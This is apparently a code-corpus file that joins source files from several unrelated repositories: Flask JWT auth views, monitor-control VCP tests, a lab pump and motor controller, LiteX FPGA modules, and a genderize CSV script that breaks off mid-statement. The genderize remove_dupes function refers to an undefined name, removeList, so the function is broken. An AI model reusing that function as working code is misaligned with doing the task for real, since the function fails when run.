#### File: smoke_backend/auth/views.py ```python from flask import request, jsonify, Blueprint from flask_jwt_extended import ( create_access_token, create_refresh_token, jwt_refresh_token_required, jwt_required, get_jwt_identity, get_raw_jwt ) from smoke_backend.models import User from smoke_backend.extensions import pwd_context, jwt blacklist = set() blueprint = Blueprint('auth', __name__, url_prefix='/auth') @blueprint.route('/login', methods=['POST']) def login(): """Authenticate user and return token. Uses flask's jsonify function to convert requests to valid JSON objects. [fjsonify]_ Return: flask.Response: If valid request & credentials present, returns the valid access tokens for the backend in JSON format. If the user password or username is missing or invalid, then method returns a JSON formatted message noting how the method failed. .. _Flask Local Proxy Request through werkzeug local: http://werkzeug.pocoo.org/docs/0.14/wrappers/ """ if not request.is_json: return jsonify({"msg": "Missing JSON in request"}), 400 username = request.json.get('username', None) password = request.json.get('password', None) if not username or not password: return jsonify({"msg": "Missing username or password"}), 400 user = User.query.filter_by(username=username).first() if user is None or not pwd_context.verify(password, user.password): return jsonify({"msg": "Bad credentials"}), 400 access_token = create_access_token(identity=user.id) refresh_token = create_refresh_token(identity=user.id) ret = { 'access_token': access_token, 'refresh_token': refresh_token } return jsonify(ret), 200 @blueprint.route('/refresh', methods=['POST']) @jwt_refresh_token_required def refresh(): """Receives access token and refreshes the page. Requires a valid jwt token for access to method. [fjwtfresh]_ Returns: flask.response: A JSONified object containing the updated contents of the login page. [fjsonify]_ """ current_user = get_jwt_identity() ret = { 'access_token': create_access_token(identity=current_user) } return jsonify(ret), 200 @blueprint.route('/logout', methods=['DELETE']) @jwt_required def logout(): jti = get_raw_jwt()['jti'] blacklist.add(jti) return jsonify({"msg": "Successfully logged out"}), 200 @jwt.user_loader_callback_loader def user_loader_callback(identity): """Returns user information. Parameters: identity: The unique identifier for the user. Returns: flask.response: The user data as a JSON dictionary. """ return User.query.get(identity) ``` #### File: smoke-backend/smoke_backend/manage.py ```python import click from flask.cli import FlaskGroup from smoke_backend.app import create_app def create_smoke(info): """Get application from application factory method. Parameters: info (str): Currently not used. Returns: Flask: The Flask [f]_ controller object for the backend """ return create_app(cli=True) @click.group(cls=FlaskGroup, create_app=create_smoke) def cli(): """Main entry point Forms the entry point for when this method is called as a stand-alone application. """ @cli.command("init") def init(): """Initialize application Initializes the SQLAlchemy [flasksqla]_ database and adds a default user. """ from smoke_backend.extensions import db click.echo("drop old database") db.reflect() db.drop_all() click.echo("create database") db.create_all() click.echo("done") @cli.command("seed") def seed(): """Seeds the database with the standard privilege values. Relative values noted here are in *descending order*, in that a relative privilege value of 3 is the highest value. Function also initializes the default user, with a privilege value of Admin (3). Values: Student: User which defines the code to test. (Relative value: 1) Teacher: User which defines the test cases. (Relative value: 2) Admin: User which has complete access. (Relative value 3) """ from smoke_backend.extensions import db from smoke_backend.models import Privilege, User privilege1 = Privilege(permission_level="STUDENT") privilege2 = Privilege(permission_level="TEACHER") privilege3 = Privilege(permission_level="ADMIN") click.echo("create priveledges") db.session.add(privilege1) db.session.add(privilege2) db.session.add(privilege3) db.session.commit() click.echo("create user admin") user = User( username='admin', email='<EMAIL>', password='<PASSWORD>', active=True, privilege=Privilege.query.get(3) ) db.session.add(user) db.session.commit() click.echo("done") if __name__ == "__main__": cli() ```
{ "source": "JosephBrooksbank/monitorcontrol", "score": 3 }
#### File: monitorcontrol/vcp/vcp_abc.py ```python import abc from types import TracebackType from typing import Optional, Tuple, Type class VCPError(Exception): """ Base class for all VCP related errors. """ pass class VCPIOError(VCPError): """ Raised on VCP IO errors. """ pass class VCPPermissionError(VCPError): """ Raised on VCP permission errors. """ pass class VCP(abc.ABC): @abc.abstractmethod def __enter__(self): pass @abc.abstractmethod def __exit__( self, exception_type: Optional[Type[BaseException]], exception_value: Optional[BaseException], exception_traceback: Optional[TracebackType], ) -> Optional[bool]: pass @abc.abstractmethod def set_vcp_feature(self, code: int, value: int): """ Sets the value of a feature on the virtual control panel. Args: code: Feature code. value: Feature value. Raises: VCPError: Failed to set VCP feature. """ pass @abc.abstractmethod def get_vcp_feature(self, code: int) -> Tuple[int, int]: """ Gets the value of a feature from the virtual control panel. Args: code: Feature code. Returns: Current feature value, maximum feature value. Raises: VCPError: Failed to get VCP feature. """ pass ``` #### File: monitorcontrol/tests/test_monitorcontrol.py ```python from monitorcontrol import vcp from monitorcontrol.monitorcontrol import ( InputSource, get_monitors, get_vcps, Monitor, ) from types import TracebackType from typing import Iterable, List, Optional, Tuple, Type, Union import pytest from unittest import mock # set to true to run the unit test on your monitors USE_ATTACHED_MONITORS = False class UnitTestVCP(vcp.VCP): def __init__(self, vcp_dict: dict): self.vcp = vcp_dict def set_vcp_feature(self, code: int, value: int): self.vcp[code]["current"] = value def get_vcp_feature(self, code: int) -> Tuple[int, int]: return self.vcp[code]["current"], self.vcp[code]["maximum"] def get_vcp_capabilities(self): # example string from Acer VG271U # does not necessarily align with other test code. # Reported capabilities could be different. return ( "(prot(monitor)type(LCD)model(ACER VG271U)cmds(01 02 03 07 0C" " E3 F3)vcp(04 10 12 14(05 06 08 0B) 16 18 1A 59 5A 5B 5C 5D" " 5E 60(0F 11 12)62 9B 9C 9D 9E 9F A0 D6 E0(00 04 05 06) E1(00" " 01 02)E2(00 01 02 03 05 06 07 0B 10 11 12)E3 E4 E5 E7(00 01" " 02) E8(00 01 02 03 04)) mswhql(1)asset_eep(40)mccs_ver(2.2))" ) def __enter__(self): pass def __exit__( self, exception_type: Optional[Type[BaseException]], exception_value: Optional[BaseException], exception_traceback: Optional[TracebackType], ) -> Optional[bool]: pass def test_context_manager_assert(): m = Monitor(None) with pytest.raises(AssertionError): m.get_power_mode() def test_get_vcps(): get_vcps() def test_get_monitors(): get_monitors() def get_test_vcps() -> List[Type[vcp.VCP]]: if USE_ATTACHED_MONITORS: return get_vcps() else: unit_test_vcp_dict = { 0x10: {"current": 50, "maximum": 100}, 0xD6: {"current": 1, "maximum": 5}, 0x12: {"current": 50, "maximum": 100}, 0x60: {"current": "HDMI1", "maximum": 3}, } return [UnitTestVCP(unit_test_vcp_dict)] @pytest.fixture(scope="module", params=get_test_vcps()) def monitor(request) -> Iterable[Monitor]: monitor = Monitor(request.param) with monitor: yield monitor def test_get_code_maximum_type_error(monitor: Monitor): code = vcp.VCPCode("image_factory_default") with pytest.raises(TypeError): monitor._get_code_maximum(code) def test_set_vcp_feature_type_error(monitor: Monitor): code = vcp.VCPCode("active_control") with pytest.raises(TypeError): monitor._set_vcp_feature(code, 1) def test_get_vcp_feature_type_error(monitor: Monitor): code = vcp.VCPCode("image_factory_default") with pytest.raises(TypeError): monitor._get_vcp_feature(code) @pytest.mark.parametrize( "luminance, expected", [(100, 100), (0, 0), (50, 50), (101, ValueError)] ) def test_luminance( monitor: Monitor, luminance: int, expected: Union[int, Type[Exception]] ): original = monitor.get_luminance() try: if isinstance(expected, int): monitor.set_luminance(luminance) assert monitor.get_luminance() == expected elif isinstance(expected, type(Exception)): with pytest.raises(expected): monitor.set_luminance(luminance) finally: monitor.set_luminance(original) @pytest.mark.skipif( USE_ATTACHED_MONITORS, reason="not going to change your contrast" ) def test_contrast(monitor: Monitor): contrast = monitor.get_contrast() contrast += 1 monitor.set_contrast(contrast) assert monitor.get_contrast() == contrast @pytest.mark.skipif( USE_ATTACHED_MONITORS, reason="not going to turn off your monitors" ) @pytest.mark.parametrize( "mode, expected", [ # always recoverable for real monitors ("on", 0x01), (0x01, 0x01), ("INVALID", AttributeError), (["on"], TypeError), (0x00, ValueError), (0x06, ValueError), # sometimes recoverable for real monitors ("standby", 0x02), ("suspend", 0x03), ("off_soft", 0x04), # rarely recoverable for real monitors ("off_hard", 0x05), ], ) def test_power_mode( monitor: Monitor, mode: Union[str, int], expected: Union[int, Type[Exception]], ): if isinstance(expected, (int, str)): monitor.set_power_mode(mode) power_mode = monitor.get_power_mode().value if expected != 0x01: # Acer XF270HU empirical testing: monitor reports zero when in any # power mode that is not on assert power_mode == expected or power_mode == 0x00 else: assert monitor.get_power_mode().value == expected elif isinstance(expected, type(Exception)): with pytest.raises(expected): monitor.set_power_mode(mode) # ASUS VG27A when set to a mode that doesnt exist returnd analog1 (0x1) @pytest.mark.skipif( USE_ATTACHED_MONITORS, reason="Real monitors dont support all input types" ) @pytest.mark.parametrize( "mode, expected", [ (InputSource.ANALOG1, 0x01), (InputSource.ANALOG2, 0x02), (InputSource.DVI1, 0x03), (InputSource.DVI2, 0x04), (InputSource.COMPOSITE1, 0x05), (InputSource.COMPOSITE2, 0x06), (InputSource.SVIDEO1, 0x07), (InputSource.SVIDEO2, 0x08), (InputSource.TUNER1, 0x09), (InputSource.TUNER2, 0x0A), (InputSource.TUNER3, 0x0B), (InputSource.CMPONENT1, 0x0C), (InputSource.CMPONENT2, 0x0D), (InputSource.CMPONENT3, 0x0E), (InputSource.DP1, 0x0F), (InputSource.DP2, 0x10), (InputSource.HDMI1, 0x11), (InputSource.HDMI2, 0x12), ], ) def test_input_source( monitor: Monitor, mode: Union[str, int], expected: Tuple[InputSource, int], ): monitor.set_input_source(mode) read_source = monitor.get_input_source() assert read_source == mode @pytest.mark.skipif( USE_ATTACHED_MONITORS, reason="No value in testing this with real monitors" ) def test_input_source_issue_59(monitor: Monitor): """ Some monitors seem to duplicate the low byte (input source) to the high byte (reserved). See https://github.com/newAM/monitorcontrol/issues/59 """ with mock.patch.object(monitor, "_get_vcp_feature", return_value=0x1010): input_source = monitor.get_input_source() assert input_source == InputSource.DP2 def test_get_vcp_capabilities(monitor: Monitor): monitors_dict = monitor.get_vcp_capabilities() model = monitors_dict["model"] inputs = monitors_dict["inputs"] print(inputs) if model != "ACER VG271U": raise AssertionError("Could not parse model") if set(inputs) != {"DP1", "HDMI1", "HDMI2"}: raise AssertionError("Could not parse input sources") ```
{ "source": "JosephBrunet/tension_inflation", "score": 2 }
#### File: JosephBrunet/tension_inflation/setup.py ```python from setuptools import setup, find_packages import os.path # The directory containing this file HERE = os.path.abspath(os.path.dirname(__file__)) # The text of the README file with open(os.path.join(HERE, "README.md")) as fid: README = fid.read() def package_files(directory): paths = [] for (path, directories, filenames) in os.walk(directory): for filename in filenames: paths.append(os.path.join('..', path, filename)) return paths extra_files = package_files(HERE+'/tension_inflation/resources') print(extra_files) setup(name='tension_inflation', version='1.0.0', description='Software controlling the tension-inflation device', long_description=README, # Optional long_description_content_type='text/markdown', url='https://github.com/JosephBrunet/tension_inflation.git', author='<NAME>', author_email='<EMAIL>', license='MIT', package_dir={'': 'tension_inflation'}, packages=find_packages(where='tension_inflation'), package_data={'': extra_files}, python_requires='>=3', install_requires=['PyQt5','pyserial','pyqtgraph','simple-pid','PIPython'], entry_points={ 'gui_scripts':['tension_inflation=tension_inflation.GUI_main:main',], 'console_scripts': ['tension_inflation_console=tension_inflation.GUI_main:main',], }, ) ``` #### File: modules/mainwindow_modules/CommandThread.py ```python from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import QSize, Qt, QRegExp, QThread, QThreadPool, QObject, pyqtSignal import numpy as np #For mathematics import time from tension_inflation.modules.sensors_dialogs import MotorPI #Program to control the axial motor from tension_inflation.modules.sensors_dialogs import Arduino #Program created to connect / read... with the arduino microcontrol from tension_inflation.modules.sensors_dialogs import Pump_seringe #Program to control the pump from simple_pid import PID class CommandThread(QThread): """Command Motor and then Pump""" signal_end = pyqtSignal() #Connecting the signals update_thread = QtCore.pyqtSignal() def __init__(self, dF_target, PV_target, NcycleF, NcycleP, PVmode, FDmode): super(QThread, self).__init__() #Defining the variables pass to the thread from the test window self.pause = False self.dF_target = dF_target self.PV_target = PV_target self.NcycleF = NcycleF self.NcycleP = NcycleP self.PVmode = PVmode self.FDmode = FDmode self.flowRate = float(Pump_seringe.getFlowRate()) self.P = False self.F = False def stop(self): """ Stop the thread """ self.pause = True try: MotorPI.stop() except: print("CommandThread motor") try: Pump_seringe.stop() except: print("CommandThread pump") def update_value(self,F,P): """ Update the values of load and pressure """ self.F=F self.P=P def DisplacementControl(self): #Cycles first if self.NcycleF != 0: cycle=0 while cycle < self.NcycleF: MotorPI.move_rel(self.dF_target) while MotorPI.ismoving(): #print("motor running") time.sleep(0.1) if self.pause == True: return MotorPI.move_rel(-self.dF_target) while MotorPI.ismoving(): time.sleep(0.1) cycle = cycle +1 if self.pause: return MotorPI.move_rel(self.dF_target) while MotorPI.ismoving(): time.sleep(0.1) def LoadControl(self): self.update_thread.emit() while self.F == False: time.sleep(0.1) while self.F < self.dF_target*0.9 or self.F > self.dF_target*1.1 : self.update_thread.emit() if self.F < self.dF_target*0.9: MotorPI.move_rel(0.2) while MotorPI.ismoving(): time.sleep(0.1) if self.F > self.dF_target*1.1: MotorPI.move_rel(-0.2) while MotorPI.ismoving(): time.sleep(0.1) self.update_thread.emit() time.sleep(0.5) def VolumeControl(self): #Cycles first if self.NcycleP != 0: cycle=0 while cycle < self.NcycleP: Pump_seringe.dose(self.PV_target) waitingTime = abs(float(self.PV_target) / float(Pump_seringe.getFlowRate()))*60 + 2 print(str(waitingTime)) time.sleep(waitingTime) Pump_seringe.dose(-self.PV_target) waitingTime = abs(float(self.PV_target) / float(Pump_seringe.getFlowRate()))*60 + 2 print(str(waitingTime)) time.sleep(waitingTime) cycle = cycle +1 Pump_seringe.dose(self.PV_target) waitingTime = abs(float(self.PV_target) / float(Pump_seringe.getFlowRate()))*60 + 1 print(str(waitingTime)) time.sleep(waitingTime) def PressureControl(self): Pump_seringe.set_vol(500) #Set target volume of the pump to not stop the run inadvertently if self.P > self.PV_target: self.NcycleP=0 self.update_thread.emit() #Cycles first if self.NcycleP != 0: cycle=0 while cycle < self.NcycleP: #Cycle montant pump_running = False flag= False while self.pause == False and flag == False: self.update_thread.emit() if self.P > self.PV_target: Pump_seringe.stop() pump_running = False flag = True if pump_running == False and flag == False: Pump_seringe.run() pump_running = True time.sleep(0.05) time.sleep(0.05) #Cycle descendant pump_running = False flag= False while self.pause == False and flag == False: self.update_thread.emit() if self.P <= 1: Pump_seringe.stop() pump_running = False flag = True if pump_running == False and flag == False: Pump_seringe.run_reverse() pump_running = True time.sleep(0.05) cycle = cycle +1 print("Go to "+str(self.PV_target)) time.sleep(0.05) #MANAGE PRESSION INFERIOR TO TARGET if self.P < self.PV_target: Pump_seringe.run() while self.pause == False and self.P < self.PV_target*0.98: self.update_thread.emit() time.sleep(0.1) Pump_seringe.stop() pid = PID(1, 0.1, 0.05, setpoint=self.PV_target) pid.sample_time = 0.1 # update every 0.01 seconds pid.output_limits = (0, 5) start = time.time() while self.pause == False: self.update_thread.emit() # compute new ouput from the PID according to the systems current value output = pid(self.P) print("Pump flow rate: "+str(output)) if time.time() - start > 0.5: # feed the PID output to the system and get its current value Pump_seringe.stop() Pump_seringe.setFlowRate(output) Pump_seringe.run() start = time.time() time.sleep(0.01) time.sleep(0.01) Pump_seringe.stop() Pump_seringe.setFlowRate(self.flowRate) #MANAGE PRESSURE SUPERIOR TO TARGET elif self.P > self.PV_target: pump_running = False flag= False Pump_seringe.setFlowRate(self.flowRate) while self.pause == False and flag == False: self.update_thread.emit() if self.P < self.PV_target: Pump_seringe.stop() pump_running = False flag = True if self.P > self.PV_target and pump_running == False: Pump_seringe.run_reverse() pump_running = True self.update_thread.emit() time.sleep(0.05) def run(self): print("thread start") ###################################################################### ## Motor (displacement) ###################################################################### if self.FDmode == 'D' and not self.dF_target == '': self.DisplacementControl() elif self.FDmode == 'F' and not self.dF_target == '': self.LoadControl() if self.pause: return ###################################################################### ## PUMP ###################################################################### if self.PVmode == 'V' and not self.PV_target == '': self.VolumeControl() elif self.PVmode == 'P' and not self.PV_target == '': ## MODE PRESSURE CONSTANT self.PressureControl() print("QThread terminated") self.signal_end.emit() ```
{ "source": "josephburnett/vaping", "score": 3 }
#### File: vaping/vaping/config.py ```python import re import munge def parse_interval(val): """ converts a string to float of seconds .5 = 500ms 90 = 1m30s **Arguments** - val (`str`) """ re_intv = re.compile(r"([\d\.]+)([a-zA-Z]+)") val = val.strip() total = 0.0 for match in re_intv.findall(val): unit = match[1] count = float(match[0]) if unit == "s": total += count elif unit == "m": total += count * 60 elif unit == "ms": total += count / 1000 elif unit == "h": total += count * 3600 elif unit == "d": total += count * 86400 else: raise ValueError("unknown unit from interval string '%s'" % val) return total class Config(munge.Config): """ Vaping config manager """ defaults = { "config": { "vaping": {"home_dir": None, "pidfile": "vaping.pid", "plugin_path": [],}, }, "config_dir": "~/.vaping", "codec": "yaml", } ```
{ "source": "JosephBushagour/litex", "score": 2 }
#### File: build/gowin/platform.py ```python import os from litex.build.generic_platform import GenericPlatform from litex.build.gowin import common, gowin # GowinPlatform ----------------------------------------------------------------------------------- class GowinPlatform(GenericPlatform): bitstream_ext = ".fs" def __init__(self, device, *args, toolchain="gowin", devicename=None, **kwargs): GenericPlatform.__init__(self, device, *args, **kwargs) if not devicename: idx = device.find('-') likely_name = f"{device[:idx]}-{device[idx+3]}" raise ValueError(f"devicename not provided, maybe {likely_name}?") self.devicename = devicename if toolchain == "gowin": self.toolchain = gowin.GowinToolchain() elif toolchain == "apicula": raise ValueError("Apicula toolchain needs more work") else: raise ValueError("Unknown toolchain") def get_verilog(self, *args, special_overrides=dict(), **kwargs): so = dict(common.gowin_special_overrides) so.update(special_overrides) return GenericPlatform.get_verilog(self, *args, special_overrides=so, attr_translate=self.toolchain.attr_translate, **kwargs) def build(self, *args, **kwargs): return self.toolchain.build(self, *args, **kwargs) ``` #### File: litex/build/openfpgaloader.py ```python from litex.build.tools import write_to_file from litex.build.generic_programmer import GenericProgrammer # openFPGAloader ------------------------------------------------------------------------------------------ class OpenFPGALoader(GenericProgrammer): needs_bitreverse = False def __init__(self, board): self.board = board def load_bitstream(self, bitstream_file): cmd = ["openFPGALoader", "--board", self.board, "--bitstream", bitstream_file] self.call(cmd) def flash(self, address, data_file): cmd = ["openFPGALoader", "--board", self.board, "--write-flash", "--bitstream", data_file] if address: cmd.append("--offset") cmd.append(address) self.call(cmd) ``` #### File: cores/clock/xilinx_s6.py ```python from migen import * from litex.soc.cores.clock.common import * from litex.soc.cores.clock.xilinx_common import * # Xilinx / Spartan6 -------------------------------------------------------------------------------- class S6PLL(XilinxClocking): nclkouts_max = 6 clkin_freq_range = (19e6, 540e6) def __init__(self, speedgrade=-1): self.logger = logging.getLogger("S6PLL") self.logger.info("Creating S6PLL, {}.".format(colorer("speedgrade {}".format(speedgrade)))) XilinxClocking.__init__(self) self.divclk_divide_range = (1, 52 + 1) self.vco_freq_range = { -1: (400e6, 1000e6), -2: (400e6, 1000e6), -3: (400e6, 1080e6), }[speedgrade] def do_finalize(self): XilinxClocking.do_finalize(self) config = self.compute_config() pll_fb = Signal() self.params.update( # Global. p_SIM_DEVICE = "SPARTAN6", p_BANDWIDTH = "OPTIMIZED", p_COMPENSATION = "INTERNAL", i_RST = self.reset, i_PWRDWN = self.power_down, o_LOCKED = self.locked, # VCO. p_REF_JITTER = .01, p_CLK_FEEDBACK="CLKFBOUT", p_CLKIN1_PERIOD = 1e9/self.clkin_freq, p_CLKIN2_PERIOD = 0., p_CLKFBOUT_MULT = config["clkfbout_mult"], p_CLKFBOUT_PHASE = 0., p_DIVCLK_DIVIDE = config["divclk_divide"], i_CLKINSEL = 1, i_CLKIN1 = self.clkin, i_CLKFBIN = pll_fb, o_CLKFBOUT = pll_fb, ) for n, (clk, f, p, m) in sorted(self.clkouts.items()): self.params["p_CLKOUT{}_DIVIDE".format(n)] = config["clkout{}_divide".format(n)] self.params["p_CLKOUT{}_PHASE".format(n)] = float(config["clkout{}_phase".format(n)]) self.params["p_CLKOUT{}_DUTY_CYCLE".format(n)] = 0.5 self.params["o_CLKOUT{}".format(n)] = clk self.specials += Instance("PLL_ADV", **self.params) class S6DCM(XilinxClocking): """ single output with f_out = f_in * {2 .. 256} / {1 .. 256} """ nclkouts_max = 1 clkfbout_mult_frange = (2, 256 + 1) clkout_divide_range = (1, 256 + 1) def __init__(self, speedgrade=-1): self.logger = logging.getLogger("S6DCM") self.logger.info("Creating S6DCM, {}.".format(colorer("speedgrade {}".format(speedgrade)))) XilinxClocking.__init__(self) self.divclk_divide_range = (1, 2) # FIXME self.clkin_freq_range = { -1: (0.5e6, 200e6), -2: (0.5e6, 333e6), -3: (0.5e6, 375e6), }[speedgrade] self.vco_freq_range = { -1: (5e6, 1e16), -2: (5e6, 1e16), -3: (5e6, 1e16), }[speedgrade] def do_finalize(self): XilinxClocking.do_finalize(self) config = self.compute_config() clk, f, p, m = sorted(self.clkouts.items())[0][1] self.params.update( p_CLKFX_MULTIPLY = config["clkfbout_mult"], p_CLKFX_DIVIDE = config["clkout0_divide"] * config["divclk_divide"], p_SPREAD_SPECTRUM = "NONE", p_CLKIN_PERIOD = 1e9/self.clkin_freq, i_CLKIN = self.clkin, i_RST = self.reset, i_FREEZEDCM = 0, o_CLKFX = clk, o_LOCKED = self.locked, ) self.specials += Instance("DCM_CLKGEN", **self.params) def expose_drp(self): self._cmd_data = CSRStorage(10) self._send_cmd_data = CSR() self._send_go = CSR() self._status = CSRStatus(4) progdata = Signal() progen = Signal() progdone = Signal() locked = Signal() self.params.update( i_PROGCLK = ClockSignal(), i_PROGDATA = progdata, i_PROGEN = progen, o_PROGDONE = progdone ) remaining_bits = Signal(max=11) transmitting = Signal() self.comb += transmitting.eq(remaining_bits != 0) sr = Signal(10) self.sync += [ If(self._send_cmd_data.re, remaining_bits.eq(10), sr.eq(self._cmd_data.storage) ).Elif(transmitting, remaining_bits.eq(remaining_bits - 1), sr.eq(sr[1:]) ) ] self.comb += [ progdata.eq(transmitting & sr[0]), progen.eq(transmitting | self._send_go.re) ] # Enforce gap between commands busy_counter = Signal(max=14) busy = Signal() self.comb += busy.eq(busy_counter != 0) self.sync += If(self._send_cmd_data.re, busy_counter.eq(13) ).Elif(busy, busy_counter.eq(busy_counter - 1) ) self.comb += self._status.status.eq(Cat(busy, progdone, self.locked)) self.logger.info("Exposing DRP interface.") ``` #### File: cpu/minerva/core.py ```python import os import subprocess from migen import * from litex import get_data_mod from litex.soc.interconnect import wishbone from litex.soc.cores.cpu import CPU, CPU_GCC_TRIPLE_RISCV32 # Variants ----------------------------------------------------------------------------------------- CPU_VARIANTS = ["standard"] # Minerva ------------------------------------------------------------------------------------------ class Minerva(CPU): name = "minerva" human_name = "Minerva" variants = CPU_VARIANTS data_width = 32 endianness = "little" gcc_triple = CPU_GCC_TRIPLE_RISCV32 linker_output_format = "elf32-littleriscv" nop = "nop" io_regions = {0x80000000: 0x80000000} # Origin, Length. # GCC Flags. @property def gcc_flags(self): flags = "-march=rv32im " flags += "-mabi=ilp32 " flags += "-D__minerva__ " return flags def __init__(self, platform, variant="standard"): self.platform = platform self.variant = variant self.reset = Signal() self.interrupt = Signal(32) self.ibus = ibus = wishbone.Interface() self.dbus = dbus = wishbone.Interface() self.periph_buses = [self.ibus, self.dbus] # Peripheral buses (Connected to main SoC's bus). self.memory_buses = [] # Memory buses (Connected directly to LiteDRAM). # # # self.cpu_params = dict( # Clk / Rst. i_clk = ClockSignal("sys"), i_rst = ResetSignal("sys") | self.reset, # IRQ. i_timer_interrupt = 0, i_software_interrupt = 0, i_external_interrupt = self.interrupt, # Ibus. o_ibus__stb = ibus.stb, o_ibus__cyc = ibus.cyc, o_ibus__cti = ibus.cti, o_ibus__bte = ibus.bte, o_ibus__we = ibus.we, o_ibus__adr = ibus.adr, o_ibus__dat_w = ibus.dat_w, o_ibus__sel = ibus.sel, i_ibus__ack = ibus.ack, i_ibus__err = ibus.err, i_ibus__dat_r = ibus.dat_r, # Dbus. o_dbus__stb = dbus.stb, o_dbus__cyc = dbus.cyc, o_dbus__cti = dbus.cti, o_dbus__bte = dbus.bte, o_dbus__we = dbus.we, o_dbus__adr = dbus.adr, o_dbus__dat_w = dbus.dat_w, o_dbus__sel = dbus.sel, i_dbus__ack = dbus.ack, i_dbus__err = dbus.err, i_dbus__dat_r = dbus.dat_r, ) def set_reset_address(self, reset_address): assert not hasattr(self, "reset_address") self.reset_address = reset_address @staticmethod def elaborate(reset_address, with_icache, with_dcache, with_muldiv, verilog_filename): cli_params = [] cli_params.append("--reset-addr={}".format(reset_address)) if with_icache: cli_params.append("--with-icache") if with_dcache: cli_params.append("--with-dcache") if with_muldiv: cli_params.append("--with-muldiv") cli_params.append("generate") cli_params.append("--type=v") sdir = get_data_mod("cpu", "minerva").data_location if subprocess.call(["python3", os.path.join(sdir, "cli.py"), *cli_params], stdout=open(verilog_filename, "w")): raise OSError("Unable to elaborate Minerva CPU, please check your nMigen/Yosys install") def do_finalize(self): assert hasattr(self, "reset_address") verilog_filename = os.path.join(self.platform.output_dir, "gateware", "minerva.v") self.elaborate( reset_address = self.reset_address, with_icache = True, with_dcache = True, with_muldiv = True, verilog_filename = verilog_filename) self.platform.add_source(verilog_filename) self.specials += Instance("minerva_cpu", **self.cpu_params) ``` #### File: litex/test/test_icap.py ```python import unittest from migen import * from litex.soc.cores.icap import ICAP, ICAPBitstream class TestICAP(unittest.TestCase): def test_icap_command_reload(self): def generator(dut): yield dut.addr.eq(0x4) yield dut.data.eq(0xf) for i in range(16): yield yield dut.send.eq(1) yield yield dut.send.eq(0) for i in range(256): yield dut = ICAP(with_csr=False, simulation=True) clocks = {"sys": 10, "icap":20} run_simulation(dut, generator(dut), clocks, vcd_name="icap.vcd") def test_icap_bitstream_syntax(self): dut = ICAPBitstream(simulation=True) ```
{ "source": "JosephCantrell/UmbrellaSecondAssessment", "score": 3 }
#### File: JosephCantrell/UmbrellaSecondAssessment/genderize.py ```python from genderize import Genderize, GenderizeException import csv import sys import os.path import time import argparse import logging import jpyhelper as jpyh # Allow override command line input FINISHED # Allow user input override search column through command line FINISHED # Create override column searching FINISHED # Strip leading and tailing whitespaces from overriden values FINISHED # Allow different headers to be written based off of if we are overriding FINISHED # Print the original file columns if we are overriding FINISHED # Allow -a to work with overrides FINISHED # TEST CASES: # No Override, No -a Tested on file "test_big.csv" SUCCESS - 300 Names and gender info written # No Override, Yes -a Tested on file "test_big.csv" SUCCESS - 149 Names and gender info written # Yes Override, No -a Tested on file "genderize_test_file.csv" SUCCESS - 51 Names, original information, and Gender info written # Yes Override, Yes -a Tested on file "genderize_test_file.csv" SUCCESS - 45 Names, original information, and Gender info written # Created this function with the intention of having it used in multiple locations, but ended up only needed it in one. # This function iterates through a given list to find every value at the given position. # It then saves this position to a list, where we later pop the list item and return the list. def remove_dupes(list, search_column): names = [] remove_list = [] for index, row in enumerate(list): stripped = row[search_column].strip() if stripped not in names: names.append(stripped) else: remove_list.append(index) # I know there is a better way to do this, but i could not pop items off of the list in the for loop above # without losing an item. A second "michael" was showing up in the final csv file. This method allowed me to get # a proper output on the csv file for index, remove in enumerate(removeList): list.pop(remove - index) return list # Created a function to write new headers into the csv file. Used in two locations. def write_headers(writer, original_headers): new_headers = ["gender", "probability", "count"] # Add the new headers on the tail end of our original headers list. original_headers = original_headers + new_headers # Write the original headers list to the output csv file writer.writerow(original_headers) def genderize(args): print(args) #File initialization dir_path = os.path.dirname(os.path.realpath(__file__)) logging.basicConfig(filename=dir_path + os.sep + "log.txt", level=logging.DEBUG, format='%(asctime)s %(levelname)s %(name)s %(message)s') logger=logging.getLogger(__name__) ofilename, ofile_extension = os.path.splitext(args.output) ofile = ofilename + "_" + time.strftime("%Y%m%d-%H%M%S") + ".csv" ifile = args.input if os.path.isabs(ifile): print("\n--- Input file: " + ifile) else: print("\n--- Input file: " + dir_path + os.sep + ifile) if os.path.isabs(ofile): print("--- Output file: " + ofile) else: print("--- Output file: " + dir_path + os.sep + ofile + "\n") #File integrity checking if not os.path.exists(ifile): print("--- Input file does not exist. Exiting.\n") sys.exit() if not os.path.exists(os.path.dirname(ofile)): print("--- Error! Invalid output file path. Exiting.\n") sys.exit() #Some set up stuff ##csv.field_size_limit(sys.maxsize) #Initialize API key if not args.key == "NO_API": print("--- API key: " + args.key + "\n") genderize = Genderize( user_agent='GenderizeDocs/0.0', api_key=args.key) key_present = True else: print("--- No API key provided.\n") key_present = False # Modify this section to take into account what the user wants to use through the command line #Open ifile with open(ifile, 'r', encoding="utf8") as csvfile: readCSV = csv.reader(csvfile, delimiter=',', skipinitialspace=True) first_name = [] raw = [] original_headers = []; is_override = False column_number = -1 # we are attempting to override the column that the names are stored in # Easier to check a boolean than to constantly check if args.override is equal to 'NO_OVERRIDE' if args.override != 'NO_OVERRIDE': is_override = True for row in readCSV: #Read CSV into first_name list # if we are overriding the search column if is_override: # ugly nested mess but it works. # if we have not found the list position of the desired override column if column_number == -1: # get the first row from the reader (assumed to be the first row) first_name.append(row) # also save this to the raw list for later use raw.append(row) # iterate through each item in the row we just saved and keep track of the for loop index for index, column in enumerate(first_name[0]): # if our column name is equal to the override name, we found the index number we need to proceed. Break from the loop if column == args.override: column_number = index break # error detection if the user override is not found in the header of the input csv. if index == len(first_name[0])-1: print("User Override '" + args.override + "' not found in input CSV file, Exiting...") sys.exit() # Our column number should be found by now, so continue to import the specific data that we want. else: # IMPORTANT: we need to remove all leading and trailing whitespaces to ensure that the genderizer responds with correct information stripped = row[column_number].strip() # append our stripped string onto the first_name list first_name.append(stripped) # save the entire row to the raw list raw.append(row) # if no override, continue like normal else: first_name.append(row) # if we have a header, we need to remove it so it is not included in the submission if args.noheader == False: if is_override: # Before we pop the first list item in first_name, save it to be our original headers so we can write them later original_headers = first_name[0] # We also need to pop the for item in the raw list or we will end up with extra data raw.pop(0) first_name.pop(0) #Remove header o_first_name = list() # We dont need to strip the first name list if we are overriding because it has already been taken care of if is_override: o_first_name = first_name # Removes the [''] on each list item so we just end up with names when iterating through the list else: for l in first_name: for b in l: o_first_name.append(b) # moved uniq_first_name outside of the if statement for later use. uniq_first_name = [] if args.auto == True: uniq_first_name = list(dict.fromkeys(o_first_name)) chunks = 